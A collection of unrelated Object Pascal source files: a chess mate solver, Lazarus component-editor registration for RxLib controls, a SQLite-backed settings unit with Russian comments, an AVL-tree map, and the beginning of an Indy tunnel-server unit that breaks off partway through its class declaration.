TSetOfSquare = set of 1..120; TArrayOfBoolean = array[BLACK..WHITE] of boolean; TArrayOfSquare = array[BLACK..WHITE] of TSetOfSquare; TPositionRecord = record board: array[1..120] of integer; kingCastle: TArrayOfBoolean; queenRookCastle: TArrayOfBoolean; kingRookCastle: TArrayOfBoolean; enPassantSquare: integer; end; TMoveRecord = record sqFrom, sqTo, moveClass, moveVal: integer; end; TArrayOfMove = array[1..MAXMOVES] of TMoveRecord; TArrayOfPiece = array[1..MAXPIECES] of integer; TAuxiliaryData = array[BLACK..WHITE] of record kingSquare: integer; piecesNumber: integer; pieces: TArrayOfPiece; end; const VP = 100; VN = 300; VB = 300; VR = 500; VQ = 900; VK = 9999; VALUE: array[BLACK * KING..WHITE * KING] of integer = ( VK, VQ, VR, VB, VN, VP, 0, VP, VN, VB, VR, VQ, VK ); DIRPAWN : array[1..3] of integer = (10, 9, 11); DIRKNIGHT: array[1..8] of integer = (-21, -19, -12, -8, 8, 12, 19, 21); DIRBISHOP: array[1..4] of integer = (-11, -9, 9, 11); DIRROOK : array[1..4] of integer = (-10, -1, 1, 10); DIRQUEEN : array[1..8] of integer = (-11, -10, -9, -1, 1, 9, 10, 11); DIRKING : array[1..8] of integer = (-11, -10, -9, -1, 1, 9, 10, 11); SQPROMO: TArrayOfSquare = ([BOTTOM - 7..BOTTOM], [], [TOP..TOP + 7]); SQPRIME: TArrayOfSquare = ([32..39], [], [82..89]); SQENPASSANTCAPTURE: TArrayOfSquare = ([72..79], [], [42..49]); SQQUEENROOKS: array[BLACK..WHITE] of integer = (TOP, NONE, BOTTOM - 7); SQKINGROOKS : array[BLACK..WHITE] of integer = (TOP + 7, NONE, BOTTOM); var gPosition: TPositionRecord; gNodes: integer; function SquareToStr(aSquare: integer): string; begin result := Concat( Chr(aSquare mod 10 - 2 + Ord('a')), Chr(9 - aSquare div 10 + Ord('1')) ); end; function StrToSquare(aStr: string): integer; begin result := 10 * (Ord(aStr[1]) - Ord('a') + 2) + Ord(aStr[2]) - Ord('1') + 2; end; function InitializeGlobalPosition(aFen: string; var aTurn: integer): boolean; var a: array[1..6] of string; x, y, i, j: integer; begin for i := 1 to 6 do a[i] := ExtractWord(i, aFen, [' ']); x := 1; y := 8; i := 1; with gPosition do begin while i <= Length(a[1]) do begin case UpCase(a[1][i]) of 'P', 'N', 'B', 'R', 'Q', 'K': begin case a[1][i] of 'p': board[10 * (10 - y) + x + 1] := BLACK * PAWN; 'n': board[10 * (10 - y) + x + 1] := BLACK * KNIGHT; 'b': board[10 * (10 - y) + x + 1] := BLACK * BISHOP; 'r': board[10 * (10 - y) + x + 1] := BLACK * ROOK; 'q': board[10 * (10 - y) + x + 1] := BLACK * QUEEN; 'k': board[10 * (10 - y) + x + 1] := BLACK * KING; 'P': board[10 * (10 - y) + x + 1] := WHITE * PAWN; 'N': board[10 * (10 - y) + x + 1] := WHITE * KNIGHT; 'B': board[10 * (10 - y) + x + 1] := WHITE * BISHOP; 'R': board[10 * (10 - y) + x + 1] := WHITE * ROOK; 'Q': board[10 * (10 - y) + x + 1] := WHITE * QUEEN; 'K': board[10 * (10 - y) + x + 1] := WHITE * KING; end; Inc(x); end; '1'..'8': begin j := Ord(aFen[i]) - Ord('0'); while j > 0 do begin board[10 * (10 - y) + x + 1] := 0; Inc(x); Dec(j); end; end; '/': begin x := 1; Dec(y); end; else begin result := FALSE; exit; end; end; Inc(i); end; queenRookCastle[BLACK] := (Pos('q', a[3]) > 0); kingRookCastle[BLACK] := (Pos('k', a[3]) > 0); kingCastle[BLACK] := queenRookCastle[BLACK] or kingRookCastle[BLACK]; queenRookCastle[WHITE] := (Pos('Q', a[3]) > 0); kingRookCastle[WHITE] := (Pos('K', a[3]) > 0); kingCastle[WHITE] := queenRookCastle[WHITE] or kingRookCastle[WHITE]; if a[4] = '-' then enPassantSquare := NONE else enPassantSquare := StrToSquare(a[4]); end; if a[2] = 'w' then aTurn := WHITE else if a[2] = 'b' then aTurn := BLACK else begin result := FALSE; exit; end; result := TRUE; end; procedure FillAuxiliaryData(var aData: TAuxiliaryData); var i: integer; begin FillChar(aData, SizeOf(aData), 0); with gPosition do for i := TOP to BOTTOM do if Abs(board[i]) in [PAWN..KING] then with aData[Color(board[i])] do begin Inc(piecesNumber); pieces[piecesNumber] := i; if board[i] = Color(board[i]) * KING then kingSquare := i; end; end; function InCheck(aColor, aKingSquare, aOtherKingSquare: integer): boolean; var i, s, b, d: integer; begin result := TRUE; if Abs(aKingSquare - aOtherKingSquare) in [1, 9..11] then exit; with gPosition do begin for i := 1 to 4 do begin d := DIRBISHOP[i]; s := aKingSquare; repeat Inc(s, d); b := board[s]; until b <> 0; if (b = -1 * aColor * BISHOP) or (b = -1 * aColor * QUEEN) then exit; d := DIRROOK[i]; s := aKingSquare; repeat Inc(s, d); b := board[s]; until b <> 0; if (b = -1 * aColor * ROOK) or (b = -1 * aColor * QUEEN) then exit; end; for i := 1 to 8 do if board[aKingSquare + DIRKNIGHT[i]] = -1 * aColor * KNIGHT then exit; for i := 2 to 3 do if board[aKingSquare + -1 * aColor * DIRPAWN[i]] = -1 * aColor * PAWN then exit; end; result := FALSE; end; procedure GenerateMoves( aColor: integer; aSquare: integer; var aMoves: TArrayOfMove; var aMovesCount: integer; aKingSquare, aOtherKingSquare: integer; aLegal: boolean; aSingle: boolean; var aFound: boolean ); var s, b, i, d: integer; r: TPositionRecord; v, c: integer; procedure TestRecordMove(aBoard, aClass, aValue: integer); begin if aLegal then begin r := gPosition; with gPosition do begin board[s] := aBoard; board[aSquare] := 0; if aClass = -1 * ENPASSANT then board[s + DIRPAWN[1] * aColor] := 0; if InCheck(aColor, aKingSquare, aOtherKingSquare) then begin gPosition := r; exit; end; if aSingle then begin aFound := TRUE; gPosition := r; exit; end; end; gPosition := r; end; Inc(aMovesCount); with aMoves[aMovesCount] do begin sqFrom := aSquare; sqTo := s; moveClass := aClass; moveVal := aValue; end; end; procedure TestRecordPawn; begin v := VALUE[Abs(b)]; if v = 0 then c := ANY else c := CAPTURE; if s in SQPROMO[aColor] then begin TestRecordMove(aColor * QUEEN, QUEEN * c, v + VQ); if aFound then exit; TestRecordMove(aColor * ROOK, ROOK * c, v + VR); if aFound then exit; TestRecordMove(aColor * BISHOP, BISHOP * c, v + VB); if aFound then exit; TestRecordMove(aColor * KNIGHT, KNIGHT * c, v + VN); if aFound then exit; end else begin TestRecordMove(PAWN, c, v); if aFound then exit; end; end; procedure TestCastling; var i: integer; label sig; begin with gPosition do begin if not kingCastle[aColor] then exit; aKingSquare := aSquare; if kingRookCastle[aColor] then begin for i := Succ(aKingSquare) to aKingSquare + 2 do if board[i] <> 0 then goto sig; if InCheck(aColor, aKingSquare, aOtherKingSquare) then exit; for i := Succ(aKingSquare) to aKingSquare + 2 do if InCheck(aColor, i, aOtherKingSquare) then goto sig; if aSingle then begin aFound := TRUE; exit; end; Inc(aMovesCount); with aMoves[aMovesCount] do begin sqFrom := aSquare; sqTo := aKingSquare + 2; moveClass := OO; moveVal := VOO; end; end; sig: if queenRookCastle[aColor] then begin for i := aKingSquare - 3 to Pred(aKingSquare) do if board[i] <> 0 then exit; if InCheck(aColor, aKingSquare, aOtherKingSquare) then exit; for i := aKingSquare - 2 to Pred(aKingSquare) do if InCheck(aColor, i, aOtherKingSquare) then exit; if aSingle then begin aFound := TRUE; exit; end; Inc(aMovesCount); with aMoves[aMovesCount] do begin sqFrom := aSquare; sqTo := aKingSquare - 2; moveClass := OOO; moveVal := VOOO; end; end; end; end; begin aFound := FALSE; Inc(gNodes); with gPosition do begin aMovesCount := 0; case Abs(board[aSquare]) of PAWN: begin d := - 1 * aColor * DIRPAWN[1]; s := aSquare + d; b := board[s]; if b = 0 then begin TestRecordPawn; if aFound then exit; if aSquare in SQPRIME[aColor] then begin Inc(s, d); b := board[s]; if b = 0 then begin TestRecordPawn; if aFound then exit; end; end; end; for i := 2 to 3 do begin s := aSquare - 1 * aColor * DIRPAWN[i]; if s = enPassantSquare then begin if s in SQENPASSANTCAPTURE[aColor] then begin TestRecordMove(PAWN, -ENPASSANT, VP); if aFound then exit; end; end else begin b := board[s]; if Abs(b) in [PAWN..KING] then if b * - 1 * aColor > 0 then begin TestRecordPawn; if aFound then exit; end; end; end; end; KNIGHT: for i := 1 to 8 do begin s := aSquare + DIRKNIGHT[i]; b := board[s]; if b <> 7 then if b * aColor <= 0 then begin v := VALUE[Abs(b)]; if v = 0 then c := ANY else c := CAPTURE; TestRecordMove(board[aSquare], c, v); if aFound then exit; end; end; BISHOP: for i := 1 to 4 do begin s := aSquare; repeat Inc(s, DIRBISHOP[i]); b := board[s]; if b <> 7 then if b * aColor <= 0 then begin v := VALUE[Abs(b)]; if v = 0 then c := ANY else c := CAPTURE; TestRecordMove(board[aSquare], c, v); if aFound then exit; end; until b <> 0; end; ROOK: for i := 1 to 4 do begin s := aSquare; repeat Inc(s, DIRROOK[i]); b := board[s]; if b <> 7 then if b * aColor <= 0 then begin v := VALUE[Abs(b)]; if v = 0 then c := ANY else c := CAPTURE; TestRecordMove(board[aSquare], c, v); if aFound then exit; end; until b <> 0; end; QUEEN: for i := 1 to 8 do begin s := aSquare; repeat Inc(s, DIRQUEEN[i]); b := board[s]; if b <> 7 then if b * aColor <= 0 then begin v := VALUE[Abs(b)]; if v = 0 then c := ANY else c := CAPTURE; TestRecordMove(board[aSquare], c, v); if aFound then exit; end; until b <> 0; end; KING: begin for i := 1 to 8 do begin s := aSquare + DIRKING[i]; b := board[s]; aKingSquare := s; if b <> 7 then if b * aColor <= 0 then begin v := VALUE[Abs(b)]; if v = 0 then c := ANY else c := CAPTURE; TestRecordMove(board[aSquare], c, v); if aFound then exit; end; end; TestCastling; if aFound then exit; end; end; end; end; function AnyMoveSide( aColor: integer; var aData: TAuxiliaryData; aKingSquare, aOtherKingSquare: integer ): boolean; var i, lMovesNumber: integer; lMoves: TArrayOfMove; lFound: boolean; begin with aData[aColor] do begin GenerateMoves( aColor, aKingSquare, lMoves, lMovesNumber, aKingSquare, aOtherKingSquare, TRUE, TRUE, lFound ); if lFound then begin result := TRUE; exit; end; for i := 1 to piecesNumber do if pieces[i] <> aKingSquare then begin GenerateMoves( aColor, pieces[i], lMoves, lMovesNumber, aKingSquare, aOtherKingSquare, TRUE, TRUE, lFound ); if lFound then begin result := TRUE; exit; end; end; end; result := FALSE; end; procedure PerformMove( var aMove: TMoveRecord; aColor: integer; var aKingSquare: integer ); var b: integer; begin with aMove, gPosition do begin b := board[sqFrom]; board[sqFrom] := 0; board[sqTo] := b; enPassantSquare := NONE; case Abs(b) of PAWN: begin if Abs(sqFrom - sqTo) = 20 then enPassantSquare := (sqFrom + sqTo) div 2; case Abs(moveClass) of KNIGHT, BISHOP, ROOK, QUEEN: board[sqTo] := aColor * Abs(moveClass); ENPASSANT: board[sqTo + DIRPAWN[1] * aColor] := 0; end; end; KING: begin aKingSquare := sqTo; if kingCastle[aColor] then begin kingCastle[aColor] := FALSE; queenRookCastle[aColor] := FALSE; kingRookCastle[aColor] := FALSE; end; case moveClass of OO: begin board[Pred(sqTo)] := aColor * ROOK; board[sqFrom + 3] := 0; end; OOO: begin board[Succ(sqTo)] := aColor * ROOK; board[sqFrom - 4] := 0; end; end; end; ROOK: if sqFrom = SQQUEENROOKS[aColor] then queenRookCastle[aColor] := FALSE else if sqFrom = SQKINGROOKS[aColor] then kingRookCastle[aColor] := FALSE; end; if sqTo = SQQUEENROOKS[- 1 * aColor] then queenRookCastle[- 1 * aColor] := FALSE else if sqTo = SQKINGROOKS[- 1 * aColor] then kingRookCastle[- 1 * aColor] := FALSE; end; end; function FindMate( aColor: integer; aDepth: integer; aMaxDepth: integer; var aMove: TMoveRecord; aCheckOnly: boolean ): boolean; label labelNext, labelMat; var lKingSquare, lOtherKingSquare, i, j, k, k2, _: integer; lData1, lData2: TAuxiliaryData; lMove: TMoveRecord; lMoves1, lMoves2: TArrayOfMove; lMovesNumber1, lMovesNumber2: integer; lPositionRecord1, lPositionRecord2: TPositionRecord; lFound, lStalemate: boolean; begin FillAuxiliaryData(lData1); lKingSquare := lData1[aColor].kingSquare; lOtherKingSquare := lData1[- 1 * aColor].kingSquare; lPositionRecord1 := gPosition; with lData1[aColor] do for k := 1 to piecesNumber do begin GenerateMoves( aColor, pieces[k], lMoves1, lMovesNumber1, lKingSquare, lOtherKingSquare, aDepth <> aMaxDepth, FALSE, lFound ); for i := 1 to lMovesNumber1 do begin lMove := lMoves1[i]; PerformMove(lMove, aColor, lKingSquare); if aDepth = aMaxDepth then if InCheck(- 1 * aColor, lOtherKingSquare, lKingSquare) then begin if InCheck(aColor, lKingSquare, lOtherKingSquare) then goto labelNext; if lMove.moveClass < 0 then FillAuxiliaryData(lData2) else lData2 := lData1; if AnyMoveSide(- 1 * aColor, lData2, lOtherKingSquare, lKingSquare) then goto labelNext; goto labelMat; end else goto labelNext; if aCheckOnly then if not InCheck(- 1 * aColor, lOtherKingSquare, lKingSquare) then goto labelNext; lStalemate := TRUE; if lMove.moveClass < 0 then FillAuxiliaryData(lData2) else lData2 := lData1; with lData2[- 1 * aColor] do for k2 := 1 to piecesNumber do begin GenerateMoves( - 1 * aColor, pieces[k2], lMoves2, lMovesNumber2, lOtherKingSquare, lKingSquare, TRUE, FALSE, lFound ); if lMovesNumber2 <> 0 then begin lStalemate := FALSE; lPositionRecord2 := gPosition; for j := 1 to lMovesNumber2 do begin PerformMove(lMoves2[j], - 1 * aColor, _); if not FindMate(aColor, Succ(aDepth), aMaxDepth, aMove, aCheckOnly) then goto labelNext; gPosition := lPositionRecord2; end; end; end; if aCheckOnly then goto labelMat; if lStalemate then if InCheck(- 1 * aColor, lOtherKingSquare, lKingSquare) then goto labelMat else goto labelNext; labelMat: if aDepth = 1 then aMove := lMove; result := TRUE; gPosition := lPositionRecord1; exit; labelNext: gPosition := lPositionRecord1; lKingSquare := kingSquare; end; end; result := FALSE; end; function SearchMate( aColor: integer; aDepth: integer; aMaxDepth: integer; var aMoveDepth: integer; var aMove: TMoveRecord; aCheckOnly: boolean ): boolean; var i: integer; begin result := FALSE; for i := aDepth to aMaxDepth do begin if FindMate(aColor, 1, i, aMove, aCheckOnly) then begin result := TRUE; aMoveDepth := i; exit; end; end; end; function SolveMate( const aFen: string; const aMovesNumber: integer; const aSearchAllMoves: boolean ): string; var lMoveDepth: integer; lTurn: integer; lMove: TMoveRecord; begin result := ''; if InitializeGlobalPosition(aFen, lTurn) then begin gNodes := 0; if SearchMate( lTurn, 1, aMovesNumber, lMoveDepth, lMove, not aSearchAllMoves ) then result := Concat(SquareToStr(lMove.sqFrom), SquareToStr(lMove.sqTo)); end; end; const EMPTY_POSITION: TPositionRecord = ( board: ( 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 7, 7, 0, 0, 0, 0, 0, 0, 0, 0, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7 ); kingCastle: (FALSE, FALSE, FALSE); queenRookCastle: (FALSE, FALSE, FALSE); kingRookCastle: (FALSE, FALSE, FALSE); enPassantSquare: NONE ); begin gPosition := EMPTY_POSITION; end.
unit register_rxctrl; {$mode objfpc}{$H+} interface uses Classes, SysUtils, LResources, LazarusPackageIntf; procedure Register; implementation uses RxLogin, ComponentEditors, RxAppIcon, Dialogs, rxconst; resourcestring sTestTRxLoginDialog = 'Test TRxLoginDialog'; sLoadIcon = 'Load icon'; type { TRxLoginDialogEditor } TRxLoginDialogEditor = class(TComponentEditor) public DefaultEditor: TBaseComponentEditor; constructor Create(AComponent: TComponent; ADesigner: TComponentEditorDesigner); override; destructor Destroy; override; function GetVerbCount:integer;override; function GetVerb(Index:integer):string;override; procedure ExecuteVerb(Index:integer);override; end; { TRxAppIcon } TRxAppIconEditor = class(TComponentEditor) public DefaultEditor: TBaseComponentEditor; constructor Create(AComponent: TComponent; ADesigner: TComponentEditorDesigner); override; destructor Destroy; override; function GetVerbCount:integer;override; function GetVerb(Index:integer):string;override; procedure ExecuteVerb(Index:integer);override; end; { TRxLoginDialogEditor } constructor TRxLoginDialogEditor.Create(AComponent: TComponent; ADesigner: TComponentEditorDesigner); var CompClass: TClass; begin inherited Create(AComponent, ADesigner); CompClass := PClass(Acomponent)^; try PClass(AComponent)^ := TComponent; DefaultEditor := GetComponentEditor(AComponent, ADesigner); finally PClass(AComponent)^ := CompClass; end; end; destructor TRxLoginDialogEditor.Destroy; begin DefaultEditor.Free; inherited Destroy; end; function TRxLoginDialogEditor.GetVerbCount: integer; begin Result:=DefaultEditor.GetVerbCount + 1; end; function TRxLoginDialogEditor.GetVerb(Index: integer): string; begin if Index < DefaultEditor.GetVerbCount then Result := DefaultEditor.GetVerb(Index) else begin case Index - DefaultEditor.GetVerbCount of 0:Result:=sTestTRxLoginDialog; end; end; end; procedure TRxLoginDialogEditor.ExecuteVerb(Index: integer); begin if Index < DefaultEditor.GetVerbCount then DefaultEditor.ExecuteVerb(Index) else begin case Index - DefaultEditor.GetVerbCount of 0:(Component as TRxLoginDialog).Login; end; end; end; { TRxAppIcon } type PClass = ^TClass; constructor TRxAppIconEditor.Create(AComponent: TComponent; ADesigner: TComponentEditorDesigner); var CompClass: TClass; begin inherited Create(AComponent, ADesigner); CompClass := PClass(Acomponent)^; try PClass(AComponent)^ := TComponent; DefaultEditor := GetComponentEditor(AComponent, ADesigner); finally PClass(AComponent)^ := CompClass; end; end; destructor TRxAppIconEditor.Destroy; begin DefaultEditor.Free; inherited Destroy; end; function TRxAppIconEditor.GetVerbCount: integer; begin Result:=DefaultEditor.GetVerbCount + 1; end; function TRxAppIconEditor.GetVerb(Index: integer): string; begin if Index < DefaultEditor.GetVerbCount then Result := DefaultEditor.GetVerb(Index) else begin case Index - DefaultEditor.GetVerbCount of 0:Result:=sLoadIcon; end; end; end; procedure TRxAppIconEditor.ExecuteVerb(Index: integer); var OpenDialog1: TOpenDialog; begin if Index < DefaultEditor.GetVerbCount then DefaultEditor.ExecuteVerb(Index) else begin case Index - DefaultEditor.GetVerbCount of 0:begin OpenDialog1:=TOpenDialog.Create(nil); OpenDialog1.Filter:=sWindowsIcoFiles; try if OpenDialog1.Execute then (Component as TRxAppIcon).LoadFromFile(OpenDialog1.FileName); finally OpenDialog1.Free; end; Modified; end; end; end; end; procedure Register; begin // RegisterComponentEditor(TRxLoginDialog, TRxLoginDialogEditor); RegisterComponentEditor(TRxAppIcon, TRxAppIconEditor); end; end.
{ CREATE TABLE settings ( name VARCHAR( 50 ) PRIMARY KEY NOT NULL UNIQUE, value VARCHAR( 256 ) ); } unit settings; interface uses SysUtils, Classes, EventLog, ZConnection, ZDataset, versioninfo, FileUtil; type TSettings = class private { Private declarations } public Constructor Create; overload; Destructor Destroy; override; end; TFbSql = Record ip : string[20]; db_name : string[255]; dialect : string[1]; user : string[50]; password : string[50]; lib : string[50]; port : integer; enable : integer; configured : boolean; end; var SaveLog: TEventLog; CurrentDir: string; DaemonDescription: string = 'управление качеством - сбор данных MC 250'; DaemonName: string; Version: string; Info: TVersionInfo; DBFile: string = 'data.sdb'; SettingsApp: TSettings; SConnect: TZConnection; SQuery: TZQuery; ErrorSettings: boolean = false; FbSqlSettings: Array [1..5] of TFbSql; MsSqlSettings: TFbSql; FbLibrary: string; // {$DEFINE DEBUG} function ConfigSettings(InData: boolean): boolean; function SqlJournalMode: boolean; function ReadConfigSettings: boolean; implementation {uses logging;} constructor TSettings.Create; begin inherited Create; SaveLog := TEventLog.Create(nil); SaveLog.LogType := ltFile; SaveLog.DefaultEventType := etDebug; SaveLog.AppendContent := true; SaveLog.FileName := ChangeFileExt(ParamStr(0), '.log'); //текущая дириктория CurrentDir := SysToUtf8(ExtractFilePath(ParamStr(0))); DaemonName := ChangeFileExt(ExtractFileName(ParamStr(0)), '' ); ConfigSettings(true); Info := TVersionInfo.Create; Info.Load(HInstance); Version := Info.ProductVersion+' build('+Info.FileVersion+')'; end; destructor TSettings.Destroy; begin ConfigSettings(false); inherited Destroy; end; function ConfigSettings(InData: boolean): boolean; begin if InData then begin SConnect := TZConnection.Create(nil); SQuery := TZQuery.Create(nil); try SConnect.Database := CurrentDir + '\' + DBFile; SConnect.LibraryLocation := '.\sqlite3.dll';// отказался от полных путей не читает SConnect.Protocol := 'sqlite-3'; SConnect.Connect; SQuery.Connection := SConnect; try SQuery.Close; SQuery.SQL.Clear; SQuery.SQL.Add('CREATE TABLE IF NOT EXISTS settings'); SQuery.SQL.Add('( name VARCHAR(50) PRIMARY KEY NOT NULL UNIQUE'); SQuery.SQL.Add(', value VARCHAR(256) )'); SQuery.ExecSQL; except on E: Exception do SaveLog.Log(etError, E.ClassName + ', с сообщением: ' + E.Message); end; // SqlJournalMode; ReadConfigSettings; except on E: Exception do SaveLog.Log(etError, E.ClassName + ', с сообщением: ' + E.Message); end; end else begin FreeAndNil(SQuery); FreeAndNil(SConnect); end; end; function ReadConfigSettings: boolean; var i: integer; begin try SQuery.Close; SQuery.SQL.Clear; SQuery.SQL.Add('SELECT * FROM settings'); SQuery.Open; except on E: Exception do SaveLog.Log(etError, E.ClassName + ', с сообщением: ' + E.Message); end; while not SQuery.Eof do begin // fbsql for all rolling mill for i:=1 to 5 do begin if SQuery.FieldByName('name').AsString = '::FbSql::rm'+inttostr(i)+'::ip' then FbSqlSettings[i].ip := SQuery.FieldByName('value').AsString; if SQuery.FieldByName('name').AsString = '::FbSql::rm'+inttostr(i)+'::db_name' then FbSqlSettings[i].db_name := SQuery.FieldByName('value').AsString; if SQuery.FieldByName('name').AsString = '::FbSql::rm'+inttostr(i)+'::dialect' then FbSqlSettings[i].dialect := SQuery.FieldByName('value').AsString; if SQuery.FieldByName('name').AsString = '::FbSql::rm'+inttostr(i)+'::user' then FbSqlSettings[i].user := SQuery.FieldByName('value').AsString; if SQuery.FieldByName('name').AsString = '::FbSql::rm'+inttostr(i)+'::password' then FbSqlSettings[i].password := SQuery.FieldByName('value').AsString; if SQuery.FieldByName('name').AsString = '::FbSql::rm'+inttostr(i)+'::enable' then FbSqlSettings[i].enable := SQuery.FieldByName('value').AsInteger; end; // mssql if SQuery.FieldByName('name').AsString = '::MsSql::ip' then MsSqlSettings.ip := SQuery.FieldByName('value').AsString; if SQuery.FieldByName('name').AsString = '::MsSql::db_name' then MsSqlSettings.db_name := SQuery.FieldByName('value').AsString; if SQuery.FieldByName('name').AsString = '::MsSql::user' then MsSqlSettings.user := SQuery.FieldByName('value').AsString; if SQuery.FieldByName('name').AsString = '::MsSql::password' then MsSqlSettings.password := SQuery.FieldByName('value').AsString; if SQuery.FieldByName('name').AsString = '::MsSql::library' then MsSqlSettings.lib := SQuery.FieldByName('value').AsString; if SQuery.FieldByName('name').AsString = '::MsSql::port' then MsSqlSettings.port := SQuery.FieldByName('value').AsInteger; {$IFDEF DEBUG} for i:=1 to 5 do begin SaveLog.Log(etDebug, 'sql setting rm'+inttostr(i)+' ip -> '+FbSqlSettings[i].ip); SaveLog.Log(etDebug, 'sql setting rm'+inttostr(i)+' db_name -> '+FbSqlSettings[i].db_name); SaveLog.Log(etDebug, 'sql setting rm'+inttostr(i)+' dialect -> '+FbSqlSettings[i].dialect); SaveLog.Log(etDebug, 'sql setting rm'+inttostr(i)+' user -> '+FbSqlSettings[i].user); SaveLog.Log(etDebug, 'sql setting rm'+inttostr(i)+' password -> '+FbSqlSettings[i].password); SaveLog.Log(etDebug, 'sql setting rm'+inttostr(i)+' enable -> '+inttostr(FbSqlSettings[i].enable)); end; {$ENDIF} SQuery.Next; end; end; function SqlJournalMode: boolean; begin try SQuery.Close; SQuery.SQL.Clear; SQuery.SQL.Add('PRAGMA journal_mode'); SQuery.Open; except on E: Exception do SaveLog.Log(etError, E.ClassName + ', с сообщением: ' + E.Message); end; if SQuery.FieldByName('journal_mode').AsString <> 'wal' then begin try SQuery.Close; SQuery.SQL.Clear; SQuery.SQL.Add('PRAGMA journal_mode = wal'); SQuery.ExecSQL; except on E: Exception do SaveLog.Log(etError, E.ClassName + ', с сообщением: ' + E.Message); end; end; end; // При загрузке программы класс будет создаваться initialization SettingsApp := TSettings.Create; // При закрытии программы уничтожаться finalization SettingsApp.Destroy; end.
UNIT avltreemap; INTERFACE TYPE BalState = (left_heavy, balanced, right_heavy); AvlTree = ^AvlNode; AvlNode = RECORD key : String; value : Integer; left, right : AvlTree; bal : BalState END; PROCEDURE InsertAvlTree(k : String; v : Integer; VAR tr : AvlTree; VAR h : Boolean); (* PROCEDURE PrintAvlTree(VAR tr : AvlTree); *) IMPLEMENTATION PROCEDURE MkAvlNode(k : String; v : Integer; VAR an : AvlNode); BEGIN WITH an DO BEGIN key := k; value := v; left := NIL; right := NIL; bal := balanced END END; PROCEDURE InsertAvlTree(k : String; v : Integer; VAR tr : AvlTree; VAR h : Boolean); VAR np, p, p1 : AvlTree; VAR rk : String; BEGIN p := NIL; p1 := NIL; np := NIL; New(np); IF NOT Assigned(np) THEN BEGIN Writeln('Memory Allocation Failed, Halting...'); Halt() END; MkAvlNode(k, v, np^); IF tr = NIL THEN BEGIN tr := np; h := TRUE END ELSE BEGIN rk := tr^.key; IF k < rk THEN BEGIN InsertAvlTree(k, v, tr^.left, h); IF h THEN CASE tr^.bal OF right_heavy: BEGIN tr^.bal := balanced; h := FALSE END; balanced: tr^.bal := left_heavy; left_heavy: BEGIN p := tr^.left; IF p^.bal = left_heavy THEN BEGIN tr^.left := p^.right; (* single LL rotation *) p^.right := tr; tr^.bal := balanced; tr := p END ELSE BEGIN (* double LR rotation *) p1 := p^.right; tr^.left := p1^.right; p1^.right := tr; p^.right := p1^.left; p1^.left := p; IF p1^.bal = left_heavy THEN BEGIN tr^.bal := right_heavy; p^.bal := balanced END ELSE BEGIN p^.bal := left_heavy; tr^.bal := balanced END; tr := p1 END; tr^.bal := balanced; h := FALSE END END (* CASE *) END ELSE BEGIN InsertAvlTree(k, v, tr^.right, h); IF h THEN CASE tr^.bal OF left_heavy: BEGIN tr^.bal := balanced; h := FALSE END; balanced: tr^.bal := right_heavy; right_heavy: BEGIN p := tr^.right; IF p^.bal = right_heavy THEN BEGIN tr^.right := p^.left; (* single RR rotation *) p^.left := tr; tr^.bal := balanced; tr := p END ELSE BEGIN (* double RL rotation *) p1 := p^.left; tr^.right := p1^.left; p1^.left := tr; p^.left := p1^.right; p1^.right := p; IF p1^.bal = left_heavy THEN BEGIN p^.bal := right_heavy; tr^.bal := balanced END ELSE BEGIN tr^.bal := left_heavy; p^.bal := balanced END; tr := p1 END; tr^.bal := balanced; h := FALSE END END (* CASE *) END; END END; END.
{ $Project$ $Workfile$ $Revision$ $DateUTC$ $Id$ This file is part of the Indy (Internet Direct) project, and is offered under the dual-licensing agreement described on the Indy website. (http://www.indyproject.org/) Copyright: (c) 1993-2005, Chad Z. Hower and the Indy Pit Crew. All rights reserved. } { $Log$ } { Rev 1.1 12/7/2002 06:43:42 PM JPMugaas These should now compile except for Socks server. IPVersion has to be a property someplace for that. Rev 1.0 11/13/2002 08:03:54 AM JPMugaas } unit IdTunnelMaster; interface {$i IdCompilerDefines.inc} uses Classes, SyncObjs, IdTCPServer, IdTCPClient, IdTunnelCommon; type TIdTunnelMaster = class; /////////////////////////////////////////////////////////////////////////////// // Master Tunnel classes // // Thread to communicate with the service MClientThread = class(TThread) public MasterParent: TIdTunnelMaster; UserId: Integer; MasterThread: TIdPeerThread; OutboundClient: TIdTCPClient; DisconnectedOnRequest: Boolean; Locker: TCriticalSection; SelfDisconnected: Boolean; procedure Execute; override; constructor Create(AMaster: TIdTunnelMaster); destructor Destroy; override; end; // Slave thread - communicates with the Master, tunnel TSlaveData = class(TObject) public Receiver: TReceiver; Sender: TSender; Locker: TCriticalSection; SelfDisconnected: Boolean; UserData: TObject; end; TIdSendMsgEvent = procedure(Thread: TIdPeerThread; var CustomMsg: String) of object; TIdSendTrnEvent = procedure(Thread: TIdPeerThread; var Header: TIdHeader; var CustomMsg: String) of object; TIdSendTrnEventC = procedure(var Header: TIdHeader; var CustomMsg: String) of object; TIdTunnelEventC = procedure(Receiver: TReceiver) of object; TIdSendMsgEventC = procedure(var CustomMsg: String) of object; // TTunnelEvent = procedure(Thread: TSlaveThread) of object; TIdTunnelMaster = class(TIdTCPServer) protected fiMappedPort: Integer; fsMappedHost: String; Clients: TThreadList; fOnConnect, fOnDisconnect, fOnTransformRead: TIdServerThreadEvent; fOnTransformSend: TSendTrnEvent; fOnInterpretMsg: TSendMsgEvent; OnlyOneThread: TCriticalSection; // LockSlavesNumber: TCriticalSection; //LockServicesNumber: TCriticalSection; StatisticsLocker: TCriticalSection; fbActive: Boolean; fbLockDestinationHost: Boolean; fbLockDestinationPort: Boolean; fLogger: TLogger; // Statistics counters flConnectedSlaves, // Number of connected slave tunnels flConnectedServices, // Number of connected service threads fNumberOfConnectionsValue, fNumberOfPacketsValue, fCompressionRatioValue, fCompressedBytes, fBytesRead, fBytesWrite: Integer; procedure ClientOperation(Operation: Integer; UserId: Integer; s: String); procedure SendMsg(MasterThread: TIdPeerThread; var Header: TIdHeader; s: String); procedure DisconectAllUsers; procedure DisconnectAllSubThreads(TunnelThread: TIdPeerThread); function GetNumSlaves: Integer; function GetNumServices: Integer; function GetClientThread(UserID: Integer): 